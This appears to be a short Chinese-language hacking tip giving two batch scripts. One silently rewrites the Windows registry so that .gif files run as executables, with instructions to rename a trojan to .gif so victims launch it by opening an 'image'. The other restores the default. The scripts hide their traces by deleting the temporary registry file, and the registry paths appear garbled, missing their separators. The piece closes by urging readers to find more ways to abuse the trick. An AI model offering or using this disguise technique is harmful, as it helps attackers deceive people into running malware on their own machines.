任意文件被當做木馬來運行的辦法
更改exe為gif:
@echo off
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINESOFTWAREClasses.gif]>>gif.reg
ECHO "Content Type"="application/x-msdownload">>gif.reg
ECHO @="exefile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul
這個代碼保存成.BAT的文件。
先運行這個BAT文件系統會把.GIF文件來當做應用程序來運行。
當然我們的木馬後綴要換成.GIF 的,嘻嘻。
恢復gif默認:
@echo off
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINESOFTWAREClasses.gif]>>gif.reg
ECHO "Content Type"="image/gif">>gif.reg
ECHO @="giffile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul
這個代碼保存成.BAT的文件。
大家可以發揮想象,有很多可以利用的地方。